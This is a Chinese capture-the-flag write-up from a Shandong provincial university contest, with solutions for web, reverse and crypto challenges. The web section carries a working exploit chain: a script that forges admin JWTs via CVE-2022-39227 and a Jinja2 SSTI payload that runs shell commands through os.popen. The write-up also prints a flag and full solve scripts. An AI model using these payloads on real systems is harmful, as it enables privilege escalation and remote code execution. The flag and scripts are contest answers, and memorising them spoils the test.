“鹏云杯”第十二届山东省大学生网络安全技能大赛-网络安全爱好者组线上选拔赛

Web

web1

查看 app.py 和 requirements.txt ,已知 python-jwt==3.3.3

关键代码审计:

users={}

users['guest'] = {
    'password': 'guest',
    'role': 'guest',
    'name': 'guest',
    'department': 'guest'
}

@app.route('/')
def index():
    
    return 'index.html'

@app.route('/login', methods=['GET', 'POST'])
def login():
    
    if request.method == 'POST':
        data = request.get_json()
        username = data.get('username')
        password = data.get('password')
        
        
        if username in users and users[username]['password'] == password:
            user_info = users[username].copy()
            user_info['username'] = username
            
            
            payload = {
                'username': username,
                'role': user_info['role'],
                'name': user_info['name'],
                'department': user_info['department']
            }
            
            token = generate_jwt(payload, jwt_key, 'PS256', timedelta(hours=2))
            
            return jsonify({
                'success': True,
                'token': token,
                'user': user_info
            })
        else:
            return jsonify({
                'success': False,
                'message': '用户名或密码错误'
            }), 401
    
    return 'login.html'

第一步:/login 接口,users 字典里仅有一个内置用户 guest/guest

认证成功后用 generate_jwt(payload, jwt_key, 'PS256', timedelta(hours=2)) 生成一个 JWT。

对 /login POST,内容:

{ 
  "username": "guest", 
  "password": "guest" 
}

拿到:

{"success":true,"token": "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NDc5OTgsImlhdCI6MTc1ODk0MDc5OCwianRpIjoiWkVXWTVnMm8yMkluVTJWMzZsVktoQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0MDc5OCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.I6mDJVjIRlD37P7BPnB1OBeR0eUHEfnSVN-t-0DUSc8myVUXHqMPX3-oj8usw89xohuy_SbzeA6SxjoZrYnwCTDZobiV4-Z4WyMbXa19G6afjEpmZfzJRlpS1WtrFZ6WkLqA223k8cAVwjOGxTJ2P_C0bCq_roPOJcC-vzVpdarcHlgzkuQ45pcjUopC4_Re5oR5Q_qcQbHJGZUxA2aj3VD2l0ZN66Isci0CGc_iVs7_NEred9lB35NsFFyFPij8-8Cv2MM9tMoAQ_3XrOWmpKnMtiKOZKKpJfdgU9dxl5E4WpZqFrFJh6xiEnm9WjKdx7JuI07GYA7uR1RySmihhg", "user":user_info}

第二步,搜索 Python-JWT身份验证绕过 (CVE-2022-39227) – CSDN博客

Python_jwt 的版本是 3.3.3,搜了一下,有 CVE-2022-39227 可以利用。首先,用题目给定的 guest / guest 登录,拿到一个 token。然后用 https://blog.csdn.net/zls1793/article/details/135328558,修改 role 成为 admin,然后再加上前面认证成功后拿到的 JWT ,就可以构造一个可以绕过 json 形式的 payload ,然后就拥有了管理员权限。

run.py 脚本:

from json import *
from python_jwt import *
from jwcrypto import jwk

#jwt载荷主体
#payload = {'role': "guest"}
#256位密钥生成
#key = jwk.JWK.generate(kty='oct', size=256)
#生成jwt以HS256加密签名
jwt_json = "eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NDc5OTgsImlhdCI6MTc1ODk0MDc5OCwianRpIjoiWkVXWTVnMm8yMkluVTJWMzZsVktoQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0MDc5OCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9.I6mDJVjIRlD37P7BPnB1OBeR0eUHEfnSVN-t-0DUSc8myVUXHqMPX3-oj8usw89xohuy_SbzeA6SxjoZrYnwCTDZobiV4-Z4WyMbXa19G6afjEpmZfzJRlpS1WtrFZ6WkLqA223k8cAVwjOGxTJ2P_C0bCq_roPOJcC-vzVpdarcHlgzkuQ45pcjUopC4_Re5oR5Q_qcQbHJGZUxA2aj3VD2l0ZN66Isci0CGc_iVs7_NEred9lB35NsFFyFPij8-8Cv2MM9tMoAQ_3XrOWmpKnMtiKOZKKpJfdgU9dxl5E4WpZqFrFJh6xiEnm9WjKdx7JuI07GYA7uR1RySmihhg"
###以下部分为payload生成###
[header, payload, signature] = jwt_json.split('.')
parsed_payload = loads(base64url_decode(payload))
parsed_payload['role'] = "admin"
#把python数组转化为json数据,并base64加密
fake = base64url_encode(dumps(parsed_payload))
#构造一个绕过的json形式的payload,这是关键下面会分析
fake_jwt = '{" ' + header + '.' + fake + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'
print(fake_jwt)

拿到

{" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjogImd1ZXN0IiwgImV4cCI6IDE3NTg5NDc5OTgsICJpYXQiOiAxNzU4OTQwNzk4LCAianRpIjogIlpFV1k1ZzJvMjJJblUyVjM2bFZLaEEiLCAibmFtZSI6ICJndWVzdCIsICJuYmYiOiAxNzU4OTQwNzk4LCAicm9sZSI6ICJhZG1pbiIsICJ1c2VybmFtZSI6ICJndWVzdCJ9.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NDc5OTgsImlhdCI6MTc1ODk0MDc5OCwianRpIjoiWkVXWTVnMm8yMkluVTJWMzZsVktoQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0MDc5OCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9","signature":"I6mDJVjIRlD37P7BPnB1OBeR0eUHEfnSVN-t-0DUSc8myVUXHqMPX3-oj8usw89xohuy_SbzeA6SxjoZrYnwCTDZobiV4-Z4WyMbXa19G6afjEpmZfzJRlpS1WtrFZ6WkLqA223k8cAVwjOGxTJ2P_C0bCq_roPOJcC-vzVpdarcHlgzkuQ45pcjUopC4_Re5oR5Q_qcQbHJGZUxA2aj3VD2l0ZN66Isci0CGc_iVs7_NEred9lB35NsFFyFPij8-8Cv2MM9tMoAQ_3XrOWmpKnMtiKOZKKpJfdgU9dxl5E4WpZqFrFJh6xiEnm9WjKdx7JuI07GYA7uR1RySmihhg"}

接着审计代码,发现 /api/report/generate 有 SSTI 漏洞,

@app.route('/api/report/generate', methods=['POST'])
def generate_report():
    try:
        auth_header = request.headers.get('Authorization')
        if not auth_header or not auth_header.startswith('Bearer '):
            return jsonify({'error': '未提供认证token'}), 401
            
        token = auth_header[len('Bearer '):]
        
        
        try:
            header, payload = verify_jwt(token, jwt_key, ['PS256'])
            
            
            if payload.get('role') not in ['manager', 'admin']:
                return jsonify({
                    'error': '权限不足,只有经理和管理员可以生成报告',
                    'current_role': payload.get('role', 'unknown')
                }), 403
            
            data = request.get_json()
            company_id = data.get('company_id')
            report_template = data.get('template', '')
            custom_title = data.get('title', '企业监管报告')
            
            # 查找企业信息
            company = None
            for comp in tobacco_companies:
                if comp['id'] == company_id:
                    company = comp
                    break
            
            if not company:
                return jsonify({'error': '未找到指定企业'}), 404
            
            # 获取用户信息
            user_name = payload.get('name', '未知用户')
            user_dept = payload.get('department', '未知部门')


            if "{{" in report_template:
                return jsonify({'error': 'bad template'}), 400

            if report_template:
                
                template_content = f"""

在请求头 Authorization 传入认证字段,格式为 Bearer <token>,token 内容为获取到的上面那个绕过 Python-JWT 身份验证的 payload ,同时 POST 传入一个 company_id ,即:

{
    "company_id":1,
    "password":"guest"
}

有信息回显。

继续分析, report_template 由用户直接提交,但是代码做了一个 if 判断:如果 report_template 中包含 {{ 就直接拒绝 400;然后把 report_template 原样拼接进大模板 template_content,再用 Jinja2 的 render_template_string 进行渲染。

虽然 report_template 过滤了 {{ ,但是 custom_title,company_id 等变量没有过滤,仍能可以 ssti,所以传入 title 为 {{ ''.__ … }} 即可

修改 run.py ,添加一行代码:

parsed_payload['name'] = "{{''.__class__.__base__.__subclasses__()}}"

跑出新的 payload ,修改 Bearer,可以拿到全部的类 class ,来进行 ssti 模板注入。

查找到 <‘class warnings.catch_warnings> 索引为 211 。再次修改 run.py 跑出可以进行 getshell 的 payload :

Bearer {" eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJkZXBhcnRtZW50IjogImd1ZXN0IiwgImV4cCI6IDE3NTg5NDc5OTgsICJpYXQiOiAxNzU4OTQwNzk4LCAianRpIjogIlpFV1k1ZzJvMjJJblUyVjM2bFZLaEEiLCAibmFtZSI6ICJ7eycnLl9fY2xhc3NfXy5fX2Jhc2VfXy5fX3N1YmNsYXNzZXNfXygpWzIxMV0iLCAibmJmIjogMTc1ODk0MDc5OCwgInJvbGUiOiAiYWRtaW4iLCAidXNlcm5hbWUiOiAiZ3Vlc3QifQ.":"","protected":"eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9", "payload":"eyJkZXBhcnRtZW50IjoiZ3Vlc3QiLCJleHAiOjE3NTg5NDc5OTgsImlhdCI6MTc1ODk0MDc5OCwianRpIjoiWkVXWTVnMm8yMkluVTJWMzZsVktoQSIsIm5hbWUiOiJndWVzdCIsIm5iZiI6MTc1ODk0MDc5OCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJndWVzdCJ9","signature":"I6mDJVjIRlD37P7BPnB1OBeR0eUHEfnSVN-t-0DUSc8myVUXHqMPX3-oj8usw89xohuy_SbzeA6SxjoZrYnwCTDZobiV4-Z4WyMbXa19G6afjEpmZfzJRlpS1WtrFZ6WkLqA223k8cAVwjOGxTJ2P_C0bCq_roPOJcC-vzVpdarcHlgzkuQ45pcjUopC4_Re5oR5Q_qcQbHJGZUxA2aj3VD2l0ZN66Isci0CGc_iVs7_NEred9lB35NsFFyFPij8-8Cv2MM9tMoAQ_3XrOWmpKnMtiKOZKKpJfdgU9dxl5E4WpZqFrFJh6xiEnm9WjKdx7JuI07GYA7uR1RySmihhg"}

且构造最终 POST 内容:

{
    "company_id":1,
    "title":"{{''.__class__.__base__.__subclasses__()[211].__init__.__globals__.__builtins__['eval']('__import__(\"os\").popen(\"cat /flag\").read()')}}",
    "template":"2333"
}

拿到 flag 。

Reverse

game

把附件放入ida 分析,容易知道这是个迷宫游戏,

反汇编查看源码,知道游戏运行逻辑:

sub_171E:玩家移动、检测终点。

sub_14FA:事件格逻辑——修改一段全局密文(byte_4020)。

byte_4020:全局数据。

到达 # -> 调用 sub_1805

__int64 __fastcall sub_171E(char n113)
{
  int n13; // [rsp+18h] [rbp-8h]
  int j; // [rsp+1Ch] [rbp-4h]

  n13 = n13_0;
  j = j_0;
  switch ( n113 )// 接收 w a s d
  {
    case 'w':
      n13 = n13_0 - 1;
      break;
    case 's':
      n13 = n13_0 + 1;
      break;
    case 'a':
      j = j_0 - 1;
      break;
    case 'd':
      j = j_0 + 1;
      break;
  }
  // 检查目标位置是否可走
  if ( sub_1486(n13, j) )
  {
    n13_0 = n13;
    j_0 = j;
    sub_14FA(n13, j);// 触发该格子的事件

    // 如果走到了迷宫终点‘#’,调用 sub_1805
    if ( byte_4140[40 * n13_0 + j_0] == 35 )
    {
      sub_1805();
      return 1LL;
    }
  }
  else
  {
    puts(&s__0);
  }
  return 0LL;
}
//格子处理事件,踩到数字格对 byte_4020 做相应的加减
int __fastcall sub_14FA(int n13, int j)
{
  __int64 v2; // rdx
  int result; // eax
  __int64 v4; // rdx
  int v5; // eax
  char n48; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned int v8; // [rsp+18h] [rbp-8h]
  int n4; // [rsp+1Ch] [rbp-4h]

  v2 = 40LL * n13 + j;
  result = (unsigned __int8)byte_4140[v2];
  n48 = byte_4140[v2];
  if ( n48 > 48 && n48 <= 52 )
  {
    v4 = 40LL * n13 + j;
    result = s_[v4] ^ 1;
    if ( s_[v4] != 1 )
    {
      v8 = n48 - 48;
      v5 = time(0LL);
      srand(v5 ^ (31 * n13 + 17 * j));
      n4 = rand() % 5 + 1;
      if ( n4 > 0 && n4 <= 4 )
      {
        printf(&format, v8);
        exit(1);
      }
      for ( i = 0; i <= 38; ++i )
      {
        switch ( n48 )
        {
          case '1':
            --byte_4020[i];
            break;
          case '2':
            byte_4020[i] -= 2;
            break;
          case '3':
            byte_4020[i] += 3;
            break;
          case '4':
            byte_4020[i] += 4;
            break;
        }
      }
      s_[40 * n13 + j] = 1;
      return printf(&format_, v8);
    }
  }
  return result;
}

关键函数 sub_1805 将修改后的数据 byte_4020 与一个秘钥 byte_4060 异或然后判断 xor 的结果是不可打印的 ASCII(0x20 以下或 0x7F 以上),就输出 ‘.‘ ,否则直接打印出字符串。

int sub_1805()
{
  unsigned __int8 c; // [rsp+Bh] [rbp-5h]
  int i; // [rsp+Ch] [rbp-4h]

  putchar(10);
  for ( i = 0; i <= 38; ++i )
  {
    c = byte_4020[i] ^ byte_4060[i];//xor 处理
    if ( c <= 0x1Fu || c > 0x7Eu )
      putchar(46);
    else
      putchar(c);
  }
  return putchar(10);
}

已知数据 byte_4020 和秘钥 byte_4060:

解密脚本:

byte_4020 = [
0x22,0xC6,0x39,0x8E,0xDC,0x0B,0x59,0x4C,0xFA,0xA3,
0x05,0x86,0xCF,0x3D,0xB7,0x1D,0x63,0xAC,0x2E,0xEF,
0x44,0x97,0x5C,0x7B,0xD2,0x08,0x89,0xB9,0x36,0xC9,0x4A,
0x13,0x9C,0xDE,0x29,0x6C,0xF7,0x53,0x82,0x00
]

byte_4060 = [
0x40,0xA6,0x5C,0xF5,0x9B,0x4B,0x38,0x36,0x9B,0xC6,
0x7D,0xEF,0xB7,0x1E,0xD9,0x11,0x14,0xC3,0x6D,0x92,
0x26,0xFF,0x3F,0x08,0xB7,0x60,0xE6,0xD8,0x5E,0x92,
0x01,0x62,0xD4,0xBD,0x60,0x11,0x81,0x32,0xFB
]

def printable(b): return 0x20 <= b <= 0x7E

for D in range(-200,201):
    out = [((b + D) & 0xFF) ^ k for b,k in zip(byte_4020, byte_4060)]
    if all(printable(x) for x in out):
        print("D =", D, "->", ''.join(chr(x) for x in out))

flag{Defeated_b0ss_and_walked_Out_Maze}

Crypto

完全平均数

solve.py 如下

from Crypto.Util.number import bytes_to_long, long_to_bytes
from gmpy2 import mpz, iroot, powmod, invert, div

# 给定的 N, e, g, C
N = 27471366612277687007582969113484500296001065780066244888800712342807125394382681326213781865815461951298727242405665286291957769318403190235219727462190547340268057407480936794909750874545280586676586199139504945994789654115224950518297646992315179314766094156202525491469674180110591820099543752380512935927805722237181
e = 65537
g = 111684314954681193048509857146926361842347687090472066568935363273885037337811
C = 12643371534391958135236095622827564261907624974618206428861944879376238094269846145595767463703827586815298891013812360542402349502974102836324041194817837979051818191875704215738686008582339520686043633518534916826599993931844826243220488649199690449278527396151017995036899907805560418507134336681609833081538329779248
# 计算 h, u, v
h = (N - 1) // g
u = h // g
v = h % g

def Solve_c():
    # 计算 C 的估计值
    sqrt_N = iroot(N, 2)[0]
    C = div(sqrt_N, g ** 2)
    C=int(C)

    a = 2
    b = powmod(a, g, N)

    # 在估计的范围内尝试寻找合适的 r 和 s
    for i in range(2, int(C)):
        print(iroot(C, 2)[0])
        D = (iroot(C, 2)[0] + 1) * i
        final = powmod(b, u, N)
        for r in range(D):
            for s in range(D):
                print(r * D + s)
                if powmod(b, r * D + s, N) == final:
                    print("r =", r, "s =", s, "i =", i)
                    return r * D + s

# 解密流程
c = Solve_c()
print("c:", c)  # c = 51589121
A = u - c
B = v + c * g

# 计算 delta 并解出 x 和 y
delta = iroot(B ** 2 - 4 * A, 2)[0]
x = (B + delta) // 2
y = (B - delta) // 2

# 计算 a 和 b
a = x // 2
b = y // 2

# 计算 p 和 q
p = 2 * g * a + 1
q = 2 * g * b + 1

# 计算私钥 d 并解密消息
d = invert(e, (p - 1) * (q - 1))
m = powmod(C, d, N)
print("Decrypted message:", long_to_bytes(m))

上一篇
下一篇